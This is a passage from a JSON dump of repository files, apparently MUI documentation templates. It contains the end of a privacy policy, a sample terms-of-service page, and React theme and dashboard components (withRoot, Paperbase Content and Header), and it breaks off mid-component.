parties, or to be used for a purpose materially different from those that are set out in this Privacy Policy. Where sensitive personal information is involved, we will always obtain your express opt-in consent to do such things. If you otherwise wish to limit the use or disclosure of your personal information, please write to us at the contact details further below.\n\nYou can also unsubscribe from our marketing communications at any time by following the instructions or unsubscribe mechanism in the email message itself.\n\n## Data Retention\n\nWe may retain your personal information as long as you continue to use the Services, have an account with us or for as long as is necessary to fulfill the purposes outlined in the policy. You can ask to close your account by contacting us at the details below and we will delete your personal information on request.\n\nWe may however retain personal information for an additional period as is permitted or required under applicable laws, for legal, tax or regulatory reasons, or for legitimate and lawful business purposes.\n\n## Changes to our Privacy Policy\n\nIf we decide to change our privacy policy, we will post those changes on this page, and/or update the Privacy Policy modification date below.\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/views/terms.md",
    "content": "<!-- markdownlint-capture -->\n<!-- markdownlint-disable -->\n\nLast modified: October 7th, 2018.\n\n<!-- markdownlint-restore -->\n\n## 1. Services\n\n- 1.1 These MUI Terms of Service (these \"Terms\") apply to the features and functions provided by Functional Software, Inc. (\"MUI,\" \"our,\" or \"we\") via mui.com (the \"Site\") (collectively, the \"Services\"). By accessing or using the Site or the Services, you agree to be bound by these Terms. If you do not agree to these Terms, you are not allowed to use the Site or the Services. The \"Effective Date\" of these Terms is the date you first use the Site, or access any of the Services.\n\n- 1.2 If you are using the Site or accessing the Services in your capacity as an employee, consultant or agent of a company or other entity, you represent that you are an employee, consultant or agent of that company or entity, and that you have the authority to bind that company or entity to these Terms. For the purpose of these Terms, you (and, if applicable, the company or entity that you represent) will be referred to as \"Customer\" or \"you\".\n\n- 1.3 MUI reserves the right to change or modify these Terms, or any of our other policies or guidelines, at any time upon notice to you. We may provide that notice in a variety of ways, including, without limitation, sending you an email, posting a notice on the Site, or posting the revised Terms on the Site and revising the date at the top of these Terms. Any changes or modifications will be effective after we provide notice that these Terms have been modified. You acknowledge that your continued use of the Site or any of the Services following such notice constitutes your acceptance of the modified Terms.\n\n- 1.4 MUI reserves the right – at any time, and without notice or liability to you – to modify the Site or the Services, or any part of them, temporarily or permanently. We may modify the Services for a variety of reasons, including, without limitation, for the purpose of providing new features, implementing new protocols, maintaining compatibility with emerging standards, or complying with regulatory requirements.\n\n- 1.5 These Terms form a binding agreement between you and MUI. Violation of any of the Terms below will result in the termination of your account(s).\n\n## 2. Privacy\n\nPlease see MUI' privacy policy at [www.mui.com/legal/privacy](https://mui.com/legal/privacy/) for information about how we collect, use, and disclose information about users of the Site and the Services. By using the Site and the Services, you consent to our collection, use, and disclosure of information as set forth in our privacy policy, as we may update that policy from time to time.\n\n## 3. Registration\n\n- 3.1 In order to use many aspects of the Services, you must first complete the MUI registration process via the Site. During the registration process, you will be asked to select a package to access the Services (each, a \"Plan\"), which includes: (a) the period during which you can access the Services (the \"Subscription Period\"); and (b) the fee you must pay to MUI in exchange for your right to access the Services (the \"Subscription Fees\"). All such information is incorporated into these Terms by reference. We have several different types of paid Plans, as well as a free Plan, for which there are no Subscription Fees. One person or legal entity may not sign up for more than one free Plan.\n\n- 3.2 You agree: (a) to provide accurate, current and complete information about you as part of the registration process (\"Registration Data\"); (b) to maintain the security of your password(s); (c) to maintain and promptly update your Registration Data, and any other information you provide to MUI, and to keep it accurate, current and complete; (d) to accept all risks of unauthorized access to your Registration Data, and any other information you provide to MUI, via your account(s) or password(s); (e) that you are responsible for maintaining the security of your account and safeguarding your password(s), and (f) that you will be fully responsible for any activities or transactions that take place using your account(s) or password(s), even if you were not aware of them.\n\n## 4. Access to services\n\nSubject to your continued compliance with these Terms, MUI grants you a limited, non-transferable, non-exclusive, revocable right and license to: (i) access and use the Services and its associated documentation, solely for your own internal business purposes, for the Subscription Period for which you have paid the applicable Subscription Fees; and (ii) access and use any data or reports that we provide or make available to you as part of your access and use of the Services (collectively, \"Reports\"), solely in conjunction with your use of the Services. Reports are considered part of the applicable Services, for the purpose of the license granted above. You understand that MUI uses third-party vendors and hosting partners to provide the necessary hardware, software, networking, storage, and related technology required to provide the Services, and you agree that MUI is not and will not be liable or responsible for the acts or omissions of such third-party vendors or hosting partners.\n\n## 5. Restrictions\n\nExcept as expressly authorized by these Terms, you may not: (a) modify, disclose, alter, translate or create derivative works of the Site or the Services; (b) license, sublicense, resell, distribute, lease, rent, lend, transfer, assign or otherwise dispose of the Services or any Report (or any components thereof); (c) offer any part of the Services (including, without limitation, any Report) on a timeshare or service bureau basis; (c) allow or permit any third party to access or use the Services; (d) use the Site or the Services to store or transmit any viruses, software routines, or other code designed to permit anyone to access in an unauthorized manner, disable, erase or otherwise harm software, hardware, or data, or to perform any other harmful actions; (e) build a competitive product or service, or copy any features or functions of the Site or the Services (including, without limitation, the look-and-feel of the Site or the Services); (f) interfere with or disrupt the integrity or performance of the Site or the Services; (g) disclose to any third party any performance information or analysis relating to the Site or the Services; (h) remove, alter or obscure any proprietary notices in or on the Site or the Services, including copyright notices; (i) use the Site or the Services or any product thereof for any illegal or unauthorized purpose, or in a manner which violates any laws or regulations in your jurisdiction; (j) reverse engineer, decompile, disassemble, or otherwise attempt to discover the source code, object code, or underlying structure, ideas, or algorithms that make up the Services or any software, documentation, or data relating to the Services, except to the limited extent that applicable law prohibits such a restriction; or (k) cause or permit any third party to do any of the foregoing.\n\n## 6. Content\n\n- 6.1 If you publish or upload data, images, code or content, or otherwise make (or allow any third party to make) material available by means of the Site or the Services (collectively, \"Content\"), you agree that you are entirely responsible for such Content, and for any harm or liability resulting from or arising out of that Content. Your responsibility applies whether or not the Content in question constitutes text, graphics, audio files, video files, computer software, or any other type of content, and whether or not you were the original creator or owner of the Content. You agree that you will be responsible for all Content on your account(s), even if placed there by third parties. By publishing or uploading Content to the Site or the Services, you represent and warrant that:\n\n- a. the Content does not and will not infringe, violate or misappropriate the Intellectual Property Rights of any third party (where \"Intellectual Property Rights\" are defined as any patents, copyrights, moral rights, trademarks, trade secrets, or any other form of intellectual property rights recognized in any jurisdiction in the world, including applications and registrations for any of the foregoing);\n\n- b. you have obtained all rights and permissions necessary to publish and/or use the Content in the manner in which you have published and/or used it;\n\n- c. MUI's use of the Content for the purpose of providing the Services (including, without limitation, downloading, copying, processing, or creating aggregations of the Content) does not and will not (i) violate any applicable laws or regulations, or (ii) infringe, violate, or misappropriate the Intellectual Property Rights of any third party;\n\n- d. you have fully complied with any third-party licenses relating to the Content;\n\n- e. the Content does not contain or install any viruses, worms, malware, Trojan horses or other harmful or destructive code;\n\n- f. the Content does not and will not include any: (i) \"personal health information,\" as defined under the Health Insurance Portability and Accountability Act, unless you have entered into a separate agreement with us relating to the processing of such data; (ii) government issued identification numbers, including Social Security numbers, drivers' license numbers or other state-issued identification numbers; (iii) financial account information, including bank account numbers; (iv) payment card data, including credit card or debit card numbers; or (iv) \"sensitive\" personal data, as defined under Directive 95/46/EC of the European Parliament (\"EU Directive\") and any national laws adopted pursuant to the EU Directive, about residents of Switzerland and any member country of the European Union, including racial or ethnic origin, political opinions, religious beliefs, trade union membership, physical or mental health or condition, sexual life, or the commission or alleged commission any crime or offense;\n\n- g. the Content is not spam, is not randomly-generated, and does not contain unethical or unwanted commercial content designed to drive traffic to third party sites or boost the search engine rankings of third party sites, or for any other unlawful acts (such as phishing), or for misleading recipients as to the source of the material (such as spoofing);\n\n- h. the Content does not contain threats or incitement to violence, and does not violate the privacy or publicity rights of any third party;\n\n- i. the Content is not being advertised via unwanted electronic messages (such as, by way of example, spam links on newsgroups, email lists, other blogs and web sites, and similar unsolicited promotional methods);\n\n- j. the Content is not named in a manner that misleads (or could mislead) third parties into thinking that you are another person or company (by way of example, your Content's URL or name should not be confusingly similar to the name of another person or entity); and\n\n- k. you have, in the case of Content that includes computer code, accurately categorized and/or described the type, nature, uses and effects of the materials, whether requested to do so by the Services or otherwise.\n\n- 6.2 By submitting or uploading Content to the Services, you grant MUI a worldwide, royalty-free, and non-exclusive license (i) to use, reproduce, modify, adapt and publish that Content solely for the purpose of providing the Services to you; and (ii) to create aggregations and summaries of the Content or portions thereof and to use, disclose, and distribute such aggregations publicly to any third party in support of our business (both during the period that these Terms are in effect, and thereafter), provided that such aggregations and summaries do not directly or indirectly identify you or your Content. If you delete Content, MUI will use reasonable efforts to remove it from the Services. You acknowledge, however, that cached copies or other references to the Content may still be available.\n\n- 6.3 Without limiting any of your representations or warranties with respect to the Content, MUI has the right (but not the obligation) to reject or remove any Content, without liability or notice to you, that MUI believes, in MUI' sole discretion: (i) violates these Terms or any MUI policy, (ii) violates or misappropriates the Intellectual Property Rights of any third party, or (iii) is in any way harmful or objectionable.\n\n## 7. Fee and payment terms; Plan upgrade/downgrade/cancellation; Pricing changes\n\n- 7.1 In exchange for your rights to access the Site and use the Services during the Subscription Period, you agree to pay the applicable Subscription Fees to MUI. The Subscription Fees do not include taxes; you will be responsible for, and will promptly pay, all taxes associated with your use of the Site and the Services, other than taxes based on our net income. Subscription Fees are payable in full, in advance, in accordance with your Plan, and are non-refundable and non-creditable. You agree to make all payments in U.S. Dollars.\n\n- 7.2 You can cancel your account(s)/subscription(s) via the process set forth in the \"Cancel Subscription\" section of your Account Settings on the Site. An email or phone request to cancel your account is not considered cancellation. No refunds will be issued, unless expressly stated otherwise. All of your Content will be deleted from the Services within a reasonable time period from when you cancel your account/subscription. Deleted Content cannot be recovered once your account/subscription is cancelled.\n\n- 7.3 If you upgrade from the free Plan to any paid Plan, we will immediately bill you for the applicable Subscription Fees. There will be no refunds or credits for partial months of service, upgrade/downgrade refunds, or refunds for months unused with an open account.\n\n- 7.4 Downgrading your account(s) may cause the loss of Content, features, or capacity of your account(s). We do not accept any liability for such loss.\n\n- 7.5 Each Subscription Period will automatically renew (and we may automatically invoice you) for additional Subscription Periods of equivalent length, unless and until one party provides written notice to the other at least thirty (30) days prior to the expiration of the then-current Subscription Period that it wishes to terminate the subscription at the end of the then-current Subscription Period. We reserve the right to modify the fees for the Services at any time upon thirty (30) days' prior notice to you, provided that the modified fees will not apply until the next Subscription Period.\n\n- 7.6 Interest on any late payments will accrue at the rate of 1.5% per month, or the highest rate permitted by law, whichever is lower, from the date the amount is due until the date the amount is paid in full. If you are late in paying us, you also agree that, in addition to our rights to suspend your access to the Services, terminate your account(s), downgrade you to a free Plan, and/or pursue any other rights or remedies available to us at law or in equity, you are responsible to reimburse us for any costs that we incur while attempting to collect such late payments.\n\n## 8. DISCLAIMER\n\nYOU ACKNOWLEDGE THAT THE SITE AND THE SERVICES ARE PROVIDED ON AN \"AS IS\", \"AS AVAILABLE\" BASIS, WITHOUT WARRANTY OF ANY KIND, WHETHER EXPRESS OR IMPLIED, AND THAT YOUR USE OF THE SITE AND THE SERVICES IS AT YOUR SOLE RISK. ARGOS DOES NOT WARRANT: (I) THAT THE SITE OR THE SERVICES WILL MEET YOUR SPECIFIC REQUIREMENTS, (II) THAT THE SITE OR THE SERVICES WILL BE UNINTERRUPTED, TIMELY, SECURE, OR ERROR-FREE, (III) THAT THE RESULTS THAT MAY BE OBTAINED FROM THE USE OF THE SERVICES WILL BE ACCURATE OR RELIABLE, (IV) THAT THE QUALITY OF ANY PRODUCTS, SERVICES, INFORMATION, OR OTHER MATERIAL THAT YOU PURCHASE OR OBTAIN THROUGH THE SITE OR THE SERVICES WILL MEET YOUR EXPECTATIONS, OR (V) THAT ANY ERRORS IN THE SITE OR THE SERVICES WILL BE CORRECTED. ARGOS SPECIFICALLY DISCLAIMS ANY IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR PARTICULAR PURPOSE, TITLE, AND NON-INFRINGEMENT.\n\n## 9. Indemnification obligations\n\nYou agree, at your sole expense, to defend, indemnify and hold MUI (and its directors, officers, employees, consultants and agents) harmless from and against any and all actual or threatened suits, actions, proceedings (whether at law or in equity), claims, damages, payments, deficiencies, fines, judgments, settlements, liabilities, losses, costs and expenses (including, without limitation, reasonable attorneys' fees, costs, penalties, interest and disbursements) arising out of or relating to (i) your Content; (ii) your use of the Site or the Services; (iii) your failure to pay any taxes that you owe under these Terms; and (iv) any other actual or alleged breach of any of your obligations under these Terms (including, among other things, any actual or alleged breach of any of your representations or warranties as set forth herein). You will not settle any such claim in any manner that would require MUI to pay money or admit wrongdoing of any kind without our prior written consent, which we may withhold in our sole discretion.\n\n## 10. LIMITATION OF LIABILITY\n\n- 10.1 IN NO EVENT WILL ARGOS'S TOTAL, AGGREGATE LIABILITY TO YOU OR TO ANY THIRD PARTY ARISING OUT OF OR RELATED TO THESE TERMS OR YOUR USE OF (OR INABILITY TO USE) ANY PART OF THE SITE OR THE SERVICES EXCEED THE TOTAL AMOUNT YOU ACTUALLY PAID TO ARGOS IN SUBSCRIPTION FEES FOR THE SERVICES DURING THE TWELVE (12) MONTHS IMMEDIATELY PRIOR TO THE ACCRUAL OF THE FIRST CLAIM. MULTIPLE CLAIMS WILL NOT EXPAND THIS LIMITATION.\n\n- 10.2 IN NO EVENT WILL ARGOS BE LIABLE TO YOU OR TO ANY THIRD PARTY FOR ANY LOSS OF PROFITS, LOSS OF USE, LOSS OF REVENUE, LOSS OF GOODWILL, INTERRUPTION OF BUSINESS, LOSS OF DATA, OR ANY INDIRECT, SPECIAL, INCIDENTAL, EXEMPLARY, PUNITIVE OR CONSEQUENTIAL DAMAGES OF ANY KIND ARISING OUT OF, OR IN CONNECTION WITH THESE TERMS OR YOUR USE (OR INABILITY TO USE) ANY PART OF THE SITE OR THE SERVICES, WHETHER IN CONTRACT, TORT, STRICT LIABILITY OR OTHERWISE, EVEN IF WE HAVE BEEN ADVISED OR ARE OTHERWISE AWARE OF THE POSSIBILITY OF SUCH DAMAGES.\n\n- 10.3 THIS SECTION (LIMITATION OF LIABILITY) WILL BE GIVEN FULL EFFECT EVEN IF ANY REMEDY SPECIFIED IN THESE TERMS IS DEEMED TO HAVE FAILED OF ITS ESSENTIAL PURPOSE.\n\n## 11. Ownership; Reservation of rights\n\n- 11.1 As between the parties: (i) you own all right, title and interest in and to your Content; and (ii) MUI owns all right, title and interest in and to the Site and the Services, and all Intellectual Property Rights therein. The look and feel of the Site and the Services, including any custom graphics, button icons, and scripts are also the property of MUI, and you may not copy, imitate, or use them, in whole or in part, without MUI' prior written consent. MUI reserves all rights not expressly granted to you in these Terms, and MUI does not grant any licenses to you or to any other party under these Terms, whether by implication, estoppel or otherwise, except as expressly set forth herein.\n\n- 11.2 You acknowledge that any suggestions, comments, or other feedback that you provide to MUI with respect to the Site, the Services, or any other MUI product or service (collectively, \"Feedback\") will be owned by MUI, including all Intellectual Property Rights therein, and will be and become MUI' Confidential Information (as defined below). You acknowledge and agree that MUI will be free to use, disclose, reproduce, license, and otherwise distribute and exploit the Feedback as MUI sees fit, without obligation or restriction of any kind. At our request and expense, you agree to execute documents or take such further actions as we may reasonably request to help us acquire, perfect, and maintain our rights in the Feedback.\n\n## 12 Term, termination, and effect of termination\n\n- 12.1 These Terms will apply to you starting on the Effective Date, and will continue for as long as you are accessing or using the Site or the Services.\n\n- 12.2 MUI, in its sole discretion, has the right to suspend your ability to access the Services, without liability, under the following circumstances: (i) for scheduled or emergency maintenance to the Site or the Services, or any part thereof; (ii) if MUI believes that you are using the Site or Services in violation of these Terms or applicable law; (iii) if MUI believes that your use of the Site or the Services poses a security risk to us or to any third party; (iv) if required by law enforcement or government agency, or otherwise in order to comply with applicable law or regulation; or (v) if you fail to fulfill your payment obligations hereunder. MUI also reserves the right to temporarily or permanently suspend your ability to access the Services, without liability, if MUI determines, in its sole discretion, that you are engaging in abusive or excessively frequent use of the Services.\n\n- 12.3 Either of us can terminate these Terms upon notice to the other if the other party breaches any of these Terms and fails to cure the breach within fifteen (15) days of receiving written notice of it from the non-breaching party. We reserve the right to terminate these Terms for cause immediately upon notice to you, and without giving you a cure period, if you breach any of these Terms relating to our intellectual property (including your compliance with the access grant and any restrictions) or our Confidential Information (defined below).\n\n- 12.4 We can terminate any free Plan that you have subscribed to, at any time and for any reason, without notice or liability to you. We can terminate any paid Plan that you have subscribed to, for any reason and without liability, by providing notice to you that we intend to terminate your Plan at the end of the then-current Subscription Period.\n\n- 12.5 When these Terms terminate or expire: (i) you will no longer have the right to use or access the Site or the Services as of the date of termination/expiration; (ii) if you owed us any fees prior to such termination/expiration, you will pay those fees immediately; and (iii) each of us will promptly return to the other (or, if the other party requests it, destroy) all Confidential Information belonging to the other. Sections 1, 2, 4 through 10, 11, and 13 through 15 will survive the termination or expiration of these Terms for any reason.\n\n## 13. Support\n\n- 13.1 If you are subscribed to a paid Plan, MUI will provide you with email-based support – just write to our support desk at [support@mui.com](mailto:support@mui.com). While we work hard to respond to you and resolve your issues quickly, we do not warrant that we will respond within any particular timeframe, or that we will be able to resolve your issue. If you are subscribed to a free Plan, while you are welcome to email us your questions, we encourage you to visit our community forum which can provide valuable information to help answer your questions.\n\n## 14. Confidential information\n\n- 14.1 For the purposes of these Terms, \"Confidential Information\" means any technical or business information disclosed by one party to the other that: (i) if disclosed in writing, is marked \"confidential\" or \"proprietary\" at the time of disclosure; (ii) if disclosed orally, is identified as confidential or proprietary at the time of such disclosure, and is summarized in a writing sent by the disclosing Party to the receiving Party within thirty (30) days of the disclosure. For the purposes of these Terms you agree that the Feedback, any Reports we provide to you, and any non-public elements of the Site or the Services (including, without limitation, the source code of any MUI-proprietary software), will be deemed to be MUI's Confidential Information, regardless of whether it is marked as such.\n\n- 14.2 Neither of us will use the other party's Confidential Information, except as permitted by these Terms. Each of us agrees to maintain in confidence and protect the other party's Confidential Information using at least the same degree of care as it uses for its own information of a similar nature, but in all events at least a reasonable degree of care. Each of us agrees to take all reasonable precautions to prevent any unauthorized disclosure of the other party's Confidential Information, including, without limitation, disclosing Confidential Information only to its employees, independent contractors, consultants, and legal and financial advisors (collectively, \"Representatives\"): (i) with a need to know such information, (ii) who are parties to appropriate agreements sufficient to comply with this Section 13, and (iii) who are informed of the nondisclosure obligations imposed by this Section 13. Each party will be responsible for all acts and omissions of its Representatives. The foregoing obligations will not restrict either party from disclosing Confidential Information of the other party pursuant to the order or requirement of a court, administrative agency, or other governmental body, provided that the party required to make such a disclosure gives reasonable notice to the other party to enable them to contest such order or requirement.\n\n- 14.3 The restrictions set forth in Section 13 will not apply with respect to any Confidential Information that: (i) was or becomes publicly known through no fault of the receiving party; (ii) was rightfully known or becomes rightfully known to the receiving party without confidential or proprietary restriction from a source other than the disclosing party who has a right to disclose it; (iii) is approved by the disclosing party for disclosure without restriction in a written document which is signed by a duly authorized officer of such disclosing party; or (iv) the receiving party independently develops without access to or use of the other party's Confidential Information.\n\n## 15. Trademarks\n\nYou acknowledge and agree that any MUI names, trademarks, service marks, logos, trade dress, or other branding included on the Site or as part of the Services (collectively, the \"Marks\") are owned by MUI and may not be copied, imitated, or used (in whole or in part) without MUI's prior written consent. All other trademarks, names, or logos referenced on the Site or the Services (collectively, \"Third-Party Trademarks\") are the property of their respective owners, and the use of such Third-Party Trademarks inure to the benefit of their respective owners. The use of such Third-Party Trademarks is intended to denote interoperability, and does not constitute an affiliation by MUI or its licensors with any company or an endorsement or approval by that company of MUI, its licensors, or their respective products or services.\n\n## 16. General provisions\n\n- 16.1 These Terms, together with any policies incorporated into these Terms by reference, are the complete and exclusive understanding of the parties with respect to MUI's provision of, and your use of and access to, the Site and the Services, and supersede all previous or contemporaneous agreements or communications, whether written or oral, relating to the subject matter of these Terms (including, without limitation, prior versions of these Terms). Any terms or conditions that you send to MUI that are inconsistent with or in addition to these Terms are hereby rejected by MUI, and will be deemed void and of no effect.\n\n- 16.2 These Terms will be governed by and construed in accordance with the laws of the State of California, without regard to that State's conflict of law principles. Any legal action or proceeding arising under, related to or connected with these Terms will be brought exclusively in the federal (if they have jurisdiction) or state courts located in San Francisco, California, and the parties irrevocably consent to the personal jurisdiction and venue of such court(s). The United Nations Convention on Contracts for the International Sale of Goods and the Uniform Computer Information Transactions Act will not apply to these Terms. If a party initiates any proceeding regarding these Terms, the prevailing party to such proceeding is entitled to reasonable attorneys' fees and costs.\n\n- 16.3 You agree that MUI has the right to use your name and logo on the Site or other MUI websites or marketing materials, for the purposes of identifying you as a MUI customer and describing your use of the Services. You also agree that MUI may (but is under no obligation to): (i) issue a press release identifying you as a MUI customer; (ii) inform other potential customers that you are a user of the Services; and (iii) identify you as a customer in other forms of publicity (including, without limitation, case studies, blog posts, and the like.\n\n- 16.4 You may not assign these Terms, in whole or in part, by operation of law or otherwise, without the prior written consent of MUI, and any attempted transfer, assignment or delegation without such consent will be void and of no effect. MUI may freely transfer, assign or delegate these Terms, or its rights and duties under these Terms, without notice to you. Subject to the foregoing, these Terms will be binding upon and will inure to the benefit of the parties and their respective representatives, heirs, administrators, successors and permitted assigns.\n\n- 16.5 Except as expressly set forth in these Terms, the exercise by either party of any of its remedies will be without prejudice to its other remedies under these Terms or otherwise. The failure by a party to enforce any part of these Terms will not constitute a waiver of future enforcement of that or any other provision. Any waiver of any provision of these Terms will be effective only if in writing and signed by an authorized representative of the waiving party.\n\n- 16.6 You agree that any notice that MUI is required to provide pursuant to these Terms can be given electronically, which may include an email to the email address you provide to MUI as part of your Registration Data. These notices can be about a wide variety of things, including responding to your questions, requests for additional information, and legal notices. You agree that such electronic notices satisfy any legal requirement that such communications be in writing. An electronic notice will be deemed to have been received on the day the email is sent to you, provided that the email is the same as the email address you provided as part of your Registration Data.\n\n- 16.7 You acknowledge that you are responsible for complying with all applicable laws and regulations associated with your access and use of the Site and Services, including, without limitation, all applicable export control laws and regulations.\n\n- 16.8 We do not develop any technical data or computer software pursuant to these Terms. The Site and the Services have been developed solely with private funds, are considered \"Commercial Computer Software\" and \"Commercial Computer Software Documentation\" as described in FAR 12.212, FAR 27.405-3, and DFARS 227.7202-3, and access is provided to U.S. Government end users as restricted computer software and limited rights data. Any use, disclosure, modification, distribution, or reproduction of the Site or the Services by the U.S. Government, its end users or contractors is subject to the restrictions set forth in these Terms.\n\n- 16.9 If any portion of these Terms is held to be unenforceable or invalid, that portion will be enforced to the maximum extent possible, and all other provisions will remain in full force and effect.\n\n- 16.10 Except for payments due under these Terms, neither party will be responsible for any delay or failure to perform that is attributable in whole or in part to any cause beyond its reasonable control, including, without limitation, acts of God (fire, storm, floods, earthquakes, etc.); civil disturbances; disruption of telecommunications, power or other essential services; interruption or termination of service by any service providers used by MUI to host the Services or to link its servers to the Internet; labor disturbances; vandalism; cable cut; computer viruses or other similar occurrences; or any malicious or unlawful acts of any third party.\n\n- 16.11 We are each independent contractors with respect to the subject matter of these Terms. Nothing contained in these Terms will be deemed or construed in any manner whatsoever to create a partnership, joint venture, employment, agency, fiduciary, or other similar relationship between us, and neither of us can bind the other contractually.\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/withRoot.js",
    "content": "import * as React from 'react';\nimport { ThemeProvider } from '@mui/material/styles';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport { Roboto_Condensed, Work_Sans } from 'next/font/google';\nimport theme from './theme';\n\nconst robotoCondensed = Roboto_Condensed({\n  weight: ['700'],\n  subsets: ['latin'],\n});\nconst workSans = Work_Sans({\n  weight: ['300', '400'],\n  subsets: ['latin'],\n});\n\nexport default function withRoot(Component) {\n  function WithRoot(props) {\n    return (\n      <div className={`${robotoCondensed.className} ${workSans.className}`}>\n        <ThemeProvider theme={theme}>\n          {/* CssBaseline kickstart an elegant, consistent, and simple baseline to build upon. */}\n          <CssBaseline />\n          <Component {...props} />\n        </ThemeProvider>\n      </div>\n    );\n  }\n\n  return WithRoot;\n}\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/withRoot.tsx",
    "content": "import * as React from 'react';\nimport { ThemeProvider } from '@mui/material/styles';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport { Roboto_Condensed, Work_Sans } from 'next/font/google';\nimport theme from './theme';\n\nconst robotoCondensed = Roboto_Condensed({\n  weight: ['700'],\n  subsets: ['latin'],\n});\nconst workSans = Work_Sans({\n  weight: ['300', '400'],\n  subsets: ['latin'],\n});\n\nexport default function withRoot<P extends React.JSX.IntrinsicAttributes>(\n  Component: React.ComponentType<P>,\n) {\n  function WithRoot(props: P) {\n    return (\n      <div className={`${robotoCondensed.className} ${workSans.className}`}>\n        <ThemeProvider theme={theme}>\n          {/* CssBaseline kickstart an elegant, consistent, and simple baseline to build upon. */}\n          <CssBaseline />\n          <Component {...props} />\n        </ThemeProvider>\n      </div>\n    );\n  }\n\n  return WithRoot;\n}\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules.d.ts",
    "content": "declare module '*.md';\n"
  },
  {
    "path": "docs/src/pages/premium-themes/paperbase/Content.js",
    "content": "import AppBar from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport Typography from '@mui/material/Typography';\nimport Paper from '@mui/material/Paper';\nimport Grid from '@mui/material/Grid';\nimport Button from '@mui/material/Button';\nimport TextField from '@mui/material/TextField';\nimport Tooltip from '@mui/material/Tooltip';\nimport IconButton from '@mui/material/IconButton';\nimport SearchIcon from '@mui/icons-material/Search';\nimport RefreshIcon from '@mui/icons-material/Refresh';\n\nexport default function Content() {\n  return (\n    <Paper sx={{ maxWidth: 936, margin: 'auto', overflow: 'hidden' }}>\n      <AppBar\n        position=\"static\"\n        color=\"default\"\n        elevation={0}\n        sx={{ borderBottom: '1px solid rgba(0, 0, 0, 0.12)' }}\n      >\n        <Toolbar>\n          <Grid container spacing={2} sx={{ alignItems: 'center' }}>\n            <Grid>\n              <SearchIcon color=\"inherit\" sx={{ display: 'block' }} />\n            </Grid>\n            <Grid size=\"grow\">\n              <TextField\n                fullWidth\n                placeholder=\"Search by email address, phone number, or user UID\"\n                slotProps={{\n                  input: {\n                    disableUnderline: true,\n                    sx: { fontSize: 'default' },\n                  },\n                }}\n                variant=\"standard\"\n              />\n            </Grid>\n            <Grid>\n              <Button variant=\"contained\" sx={{ mr: 1 }}>\n                Add user\n              </Button>\n              <Tooltip title=\"Reload\">\n                <IconButton>\n                  <RefreshIcon color=\"inherit\" sx={{ display: 'block' }} />\n                </IconButton>\n              </Tooltip>\n            </Grid>\n          </Grid>\n        </Toolbar>\n      </AppBar>\n      <Typography align=\"center\" sx={{ color: 'text.secondary', my: 5, mx: 2 }}>\n        No users for this project yet\n      </Typography>\n    </Paper>\n  );\n}\n"
  },
  {
    "path": "docs/src/pages/premium-themes/paperbase/Content.tsx",
    "content": "import AppBar from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport Typography from '@mui/material/Typography';\nimport Paper from '@mui/material/Paper';\nimport Grid from '@mui/material/Grid';\nimport Button from '@mui/material/Button';\nimport TextField from '@mui/material/TextField';\nimport Tooltip from '@mui/material/Tooltip';\nimport IconButton from '@mui/material/IconButton';\nimport SearchIcon from '@mui/icons-material/Search';\nimport RefreshIcon from '@mui/icons-material/Refresh';\n\nexport default function Content() {\n  return (\n    <Paper sx={{ maxWidth: 936, margin: 'auto', overflow: 'hidden' }}>\n      <AppBar\n        position=\"static\"\n        color=\"default\"\n        elevation={0}\n        sx={{ borderBottom: '1px solid rgba(0, 0, 0, 0.12)' }}\n      >\n        <Toolbar>\n          <Grid container spacing={2} sx={{ alignItems: 'center' }}>\n            <Grid>\n              <SearchIcon color=\"inherit\" sx={{ display: 'block' }} />\n            </Grid>\n            <Grid size=\"grow\">\n              <TextField\n                fullWidth\n                placeholder=\"Search by email address, phone number, or user UID\"\n                slotProps={{\n                  input: {\n                    disableUnderline: true,\n                    sx: { fontSize: 'default' },\n                  },\n                }}\n                variant=\"standard\"\n              />\n            </Grid>\n            <Grid>\n              <Button variant=\"contained\" sx={{ mr: 1 }}>\n                Add user\n              </Button>\n              <Tooltip title=\"Reload\">\n                <IconButton>\n                  <RefreshIcon color=\"inherit\" sx={{ display: 'block' }} />\n                </IconButton>\n              </Tooltip>\n            </Grid>\n          </Grid>\n        </Toolbar>\n      </AppBar>\n      <Typography align=\"center\" sx={{ color: 'text.secondary', my: 5, mx: 2 }}>\n        No users for this project yet\n      </Typography>\n    </Paper>\n  );\n}\n"
  },
  {
    "path": "docs/src/pages/premium-themes/paperbase/Header.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport AppBar from '@mui/material/AppBar';\nimport Avatar from '@mui/material/Avatar';\nimport Button from '@mui/material/Button';\nimport Grid from '@mui/material/Grid';\nimport HelpIcon from '@mui/icons-material/Help';\nimport IconButton from '@mui/material/IconButton';\nimport Link from '@mui/material/Link';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport NotificationsIcon from '@mui/icons-material/Notifications';\nimport Tab from '@mui/material/Tab';\nimport Tabs from '@mui/material/Tabs';\nimport Toolbar from '@mui/material/Toolbar';\nimport Tooltip from '@mui/material/Tooltip';\nimport Typography from '@mui/material/Typography';\n\nconst lightColor = 'rgba(255, 255, 255, 0.7)';\n\nfunction Header(props) {\n  const { onDrawerToggle } = props;\n\n  return (\n    <React.Fragment>\n      <AppBar color=\"primary\" position=\"sticky\" elevation={0}>\n        <Toolbar>\n          <Grid container spacing={1} sx={{ alignItems: 'center' }}>\n            <Grid sx={{ display: { sm: 'none', xs: 'block' } }}>\n              <IconButton\n                color=\"inherit\"\n                aria-label=\"open drawer\"\n                onClick={onDrawerToggle}\n                edge=\"start\"\n              >\n                <MenuIcon />\n              </IconButton>\n            </Grid>\n            <Grid size=\"grow\" />\n            <Grid>\n              <Link\n                href=\"/\"\n                variant=\"body2\"\n                sx={{\n                  textDecoration: 'none',\n                  color: lightColor,\n                  '&:hover': {\n                    color: 'common.white',\n                  },\n                }}\n                rel=\"noopener noreferrer\"\n                target=\"_blank\"\n              >\n                Go to docs\n              </Link>\n            </Grid>\n            <Grid>\n              <Tooltip title=\"Alerts • No alerts\">\n                <IconButton color=\"inherit\">\n                  